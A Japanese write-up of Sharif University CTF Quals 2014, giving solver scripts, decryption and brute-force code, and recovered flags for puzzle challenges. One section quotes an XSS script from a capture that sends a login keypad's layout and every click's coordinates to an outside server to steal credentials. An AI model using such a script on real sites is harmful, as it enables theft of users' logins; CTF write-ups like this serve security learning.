Sharif University CTF Quals 2014 に参加しました
Sharif University CTF Quals 2014 に参加しました。せっかくなので writeup を書こうと思います。
Writeup
What is this (steganography, 20 pt)
2枚のモノクロ画像が渡される問題です。
composite -compose Difference pic1.jpg pic2.jpg diff.jpg
Rolling hash (cryptography, 30 pt)
暗号化するプログラムと暗号化されたフラグが与えられます。
問題によるとフラグは9文字らしいので と を比較すると の方が小さいらしいということを考慮すると、文字列をビッグエンディアン的に数値変換しているだけなので、簡単に復号できます。
#!/usr/bin/env python3
def encrypt(text):
retval = 0
for i, c in enumerate(text):
retval += ord(c)*256**(len(text)-i-1)
return retval
def decrypt(cipher):
chars = list()
while cipher > 0:
chars.append(chr(cipher%256))
cipher //= 256
return ''.join(reversed(chars))
def main():
print(decrypt(1317748575983887541099))
if __name__ == '__main__':
main()
というわけでフラグは Good Luck
Guess the number (reverse, 30 pt)
jar ファイルが与えられます。
jad を使ってデコンパイルすると 4b64ca12ace755516c178f72d05d7061
と ecd44646cfe5994ebeb35bf922e25dba
を xor したものがフラグであると書かれています。よってフラグは a7b08c546302cc1fd2a4d48bf2bf2ddb
Recover deleted file (forensics, 40 pt)
ext3 のディスクイメージが与えられます。
strings disk-image
とすると /lib64/ld-linux-x86-64.so.2
など出てくるので 0x7f ELF
を探して切り取って実行するとおしまいです。
$ ./elf
your flag is:
de6838252f95d3b9e803b28df33b4baa
Sudoku image encryption (cryptography, 40 pt)
数独の画像と、地図が15パズルのように 9x9 でバラバラに入れ替わった画像が与えられます。
数独は適当な数独ソルバーで解きます。数独の解が地図の破片の元の位置を表しているのは容易に想像できるので、スクリプトを書いたらおしまいです。
#!/usr/bin/env python3
import PIL.Image
class Solver(object):
def __init__(self, sudoku, image):
self.sudoku = sudoku
self.image = image
def solve(self):
width, height = (length//9 for length in self.image.size)
arranged = PIL.Image.new('RGB', self.image.size)
pieces = self._split()
for y in range(9):
for x in range(9):
i = self.sudoku[y].index(x+1)
arranged.paste(pieces[y][i], (width*x, height*y))
return arranged
def _split(self):
width, height = (length//9 for length in self.image.size)
pieces = list()
for y in range(9):
pieces.append(list())
for x in range(9):
left, right = width*x, width*(x+1)
upper, lower = height*y, height*(y+1)
box = self.image.crop((left, upper, right, lower))
pieces[y].append(box)
return pieces
def main():
sudoku = [
[9, 6, 4, 1, 2, 7, 5, 3, 8],
[7, 1, 2, 3, 8, 5, 6, 9, 4],
[3, 8, 5, 4, 9, 6, 7, 1, 2],
[4, 9, 1, 5, 7, 8, 2, 6, 3],
[2, 3, 8, 6, 1, 4, 9, 7, 5],
[5, 7, 6, 2, 3, 9, 8, 4, 1],
[6, 2, 7, 8, 4, 3, 1, 5, 9],
[1, 5, 3, 9, 6, 2, 4, 8, 7],
[8, 4, 9, 7, 5, 1, 3, 2, 6]
]
img = PIL.Image.open('image.png')
s = Solver(sudoku, img)
arranged = s.solve()
arranged.save('arranged.png')
if __name__ == '__main__':
main()
Iran Pro League (web, 80 pt)
何らかのテーブルのレコードを全て表示してくれるアプリケーションが与えられます。
/?p1=public&p2=stadium
にアクセスするとスタジアムのレコードが見られるようになっているようです。ここで /?p1=test
にアクセスすると
ok: 'false'
decription: 'Schema does not exist'
CONTEXT: 'PL/pgSQL function report(character varying,character varying,json) line 38 at RETURN QUERY'
と怒られるので /?p1=pg_catalog&p2=pg_tables
にアクセスすると、たくさんレコードが出てきます。この中に、
schemaname: corner
tablename: flag
tableowner: football_info
tablespace: null
hasindexes: true
hasrules: false
hastriggers: false
というのがあるので /?p1=corner&p2=flag
にアクセスしてフラグを得ます。
flagid: 1
val: 'flag: eca883cb69ad6614d487c525a7d5d2a3'
Hear With Your Eyes (steganography, 100 pt)
音声ファイルが渡される問題です。
スペクトログラムを見ます。
Secure Coding (secure-coding, 100 pt)
プログラム中の脆弱性を見つけて、直したものをアップロードしてチェックを受け、脆弱性がなくなっていたらフラグがもらえる、という変わった問題です。
この問題はバッファオーバーフローが可能な箇所がいくつかあるので、直せばおしまい。
#include <stdio.h>
#include <string.h>
int main() {
/* char str[1000]; */
char str[1001];
printf("SPLITTER\n");
printf("--------\n");
printf("\n");
str[0] = 0;
while (1) {
/* char temp[50]; */
char temp[51];
scanf("%50s", temp);
if (strcmp(temp, ".") == 0) {
break;
}
/* strncat(str, temp, sizeof(str)); */
strncat(str, temp, sizeof(str)-strlen(str)-1);
/* strncat(str, "\n", sizeof(str)); */
strncat(str, "\n", sizeof(str)-strlen(str)-1);
}
printf("\n%s\n", str);
return -14;
}
Huge Key (cryptography, 100 pt)
暗号化するプログラムと暗号化されたフラグが与えられます。
鍵はとても大きなものを与えられたとてしても、実質的な鍵は先頭2バイトだけなので 通り試せばおしまいです。
<?php
$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
$data = file_get_contents("ciphertext.bin");
$iv = substr($data, 0, $iv_size);
$cipher = substr($data, $iv_size);
$key = "\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0\x0";
for ($i = 0; $i < 256; ++$i) {
$key[0] = chr($i);
for ($j = 0; $j < 256; ++$j) {
$key[1] = chr($j);
$plain = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $cipher,
MCRYPT_MODE_CBC, $iv);
$plain = str_replace("\x00", "", $plain);
if (ctype_print($plain)) {
print $plain . "\n";
}
}
}
?>
これを試すとフラグが出ます the flag is e3565503fb4be929a214a9e719830d4e
Cafe-1 (recon, 150 pt)
カフェの写真が与えられます。カフェのロゴのデザイナーの名前を答える問題です。
この写真には QR コードが写りこんでおり、これを読み込むと、
GodForgives,AllYouHaveToDoIsAsk
suctf.com/cce1/d393
と書かれていることがわかります。そこで敢えて http://suctf.com/cce1/
にアクセスすると大きなロゴの PNG 画像が得られます。その画像のコメントに作者の情報が埋め込まれていました。
Designed by: nooneonemore
For: http://suctf.com/cce1/d393
Cafe-2 (recon, 150 pt)
Cafe-1 の写真の日の「今日の言葉」は何かを探す問題です。結局のところ QR コードで読み取った最初の行が答えでした。
Our bank is your (web+forensics, 200 pt)
パケットのキャプチャファイルが与えられます。
キャプチャファイルを見ると冒頭で次のようなストーリーが確認できます。
Bob's Friend と名乗る人物が Bob に「銀行のあのページ見た?」とリンクに誘導する HTML メールを送りつけます。実はこのリンクには XSS を利用した細工が施されています。
リンク先は、下のようなウェブページになっています。ボタンを使って、ユーザー名とパスワードを入力することが可能で、数字の配列は毎回ランダムに配置されます。
そしてリンクの XSS のスクリプトの部分だけ抜き出すと、次のようになっています。
setTimeout("sendmap();",1000);
document.body.addEventListener("click", clickdone, false);
function sendmap(){
var buttons=document.getElementsByClassName("keypadButtonStyle");
var keymap="";
for(var i=0; i<buttons.length; i++) {
keymap += buttons[i].value;
}
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","http://95.211.102.232:8080/c.php?t=m&v="+keymap,false);
xmlhttp.send();
}
function clickdone(e) {
var xPosition=e.clientX;
var yPosition=e.clientY;
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET", "http://95.211.102.232:8080/c.php?t=c&v="+xPosition+","+yPosition, false);
xmlhttp.send();
}
要するに、ページを開いた時に数字の配列の順を Bob's Friend のサーバに送り Bob がマウスをクリックする度にその座標を Bob's Friend のサーバーに送っています。
さて、キャプチャファイルの方を見返してみると Bob はまんまとリンクに誘導され、ログインを試みていることがわかります。つまり、数字の配列とマウスの座標の情報が次々と Bob's Friend の元に送られているのです。あとは、キャプチャファイルの情報を元に、操作を復元するだけです。
まず、数字の配列は次のようになっています。
4 1 6
3 7 0
8 9 5
2 B-S
また、操作の座標をプロットしてみると、次のようになっていることがわかります。
このことから Bob のユーザー名とパスワードはそれぞれ 61534
と 4793162305
(1と6の間をクリックしたのは失敗みたい) であることがわかります。これを入力してフラグを得ます。
Didn't I say that our bank is yours?
Flag: 1bcef0620c8505a894fa61d911029c07
Secure Coding (2) (secure-coding, 200 pt)
Secure Coding 第2弾です。前回と違い VC++ 特有の関数が含まれており gcc ではコンパイルできないプログラムだったため、直してはサーバーに投げ、直してはサーバーに投げ、…とやっていました。
脆弱性は、結構あった気がするのですが、投げても反応のない脆弱性もあって、よくわからなかったという感じです。直した脆弱性は、
- ユーザ入力値
size
変数によりメモリの動的確保を行うが、これが負値のときの処理が行われていない size
がでかすぎるなどで、メモリの動的確保を失敗したときの処理が行われていない- 動的確保したメモリの解放のタイミングがおかしい
- 文字列を上書きする位置
offset
がでかすぎるときの処理は行われているが、負値のときの処理が行われておらず、バッファオーバーフローが可能 _snprintf
とかいう VC++ の関数で format string attack が可能scanf
によりtmp
に対してバッファオーバーフローが可能 (採点外?)
といったところです。次のコードを投げたら通りました。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void safefree(char **ptr) {
if (*ptr != NULL) {
free(*ptr);
*ptr = NULL;
}
}
int main() {
char tmp[51];
printf("Line Editor\n");
printf("-----------\n\n");
int size;
printf("Line size: ");
scanf("%d", &size);
if (size < 0) {
return -14;
}
gets_s(tmp, sizeof(tmp));
char *line = (char *)malloc(size + 1);
if (!line) {
return -14;
}
restart:
line[0] = 0;
while (1) {
printf("Enter the offset (or \"quit\"): ");
gets_s(tmp, sizeof(tmp));
if (!strcmp(tmp, "quit")) {
printf("OUTPUT LINE: %s\n\n", line);
break;
}
int offset = atoi(tmp);
if (offset <= 0 || offset - 1 > (int)strlen(line)) {
printf("ERROR\n");
continue;
}
printf("Enter the text: ");
gets_s(tmp, sizeof(tmp));
strncpy(line + (offset - 1), tmp, size - (offset - 1) + 1);
if (size - (offset - 1) < strlen(tmp)) {
printf("ERROR\n");
line[size] = 0;
continue;
}
}
printf("Restart (y/n): ");
scanf("%50s", tmp);
if (tmp[0] == 'y') {
gets_s(tmp, sizeof(tmp));
goto restart;
}
safefree(&line);
return -14;
}
得られたフラグは 57ba58587f972a80c12b5f590078270c
Commercial Application!
apk ファイルが与えられ、アプリケーションのシリアルナンバーを探す問題です。
dex2jar や jad を使ってデコンパイルして読み進めると、シリアルナンバーが AES/CBC/PKCS5Padding で暗号化されていることがわかります。ここで使われている IV や暗号キーを使って暗号を解きます。
#!/usr/bin/env python3
import codecs
import Crypto.Cipher.AES
def decrypt(cipher, key, iv):
aes = Crypto.Cipher.AES.new(key, Crypto.Cipher.AES.MODE_CBC, iv)
data = aes.decrypt(cipher)
return data[:-data[-1]].decode()
def main():
iv = b'a5efdbd57b84ca36'
key = codecs.decode('37eaae0141f1a3adf8a1dee655853714', 'hex_codec')
cipher = codecs.decode('29a002d9340fc4bd54492f327269f3e051619b889dc8da723e135ce486965d84',
'hex_codec')
plaintext = decrypt(cipher, key, iv)
print (plaintext)
if __name__ == '__main__':
main()
これを実行して fl-ag-IS-se-ri-al-NU-MB-ER
感想
やっぱりたくさんの問題を解いたときの気分は最高ですね!!!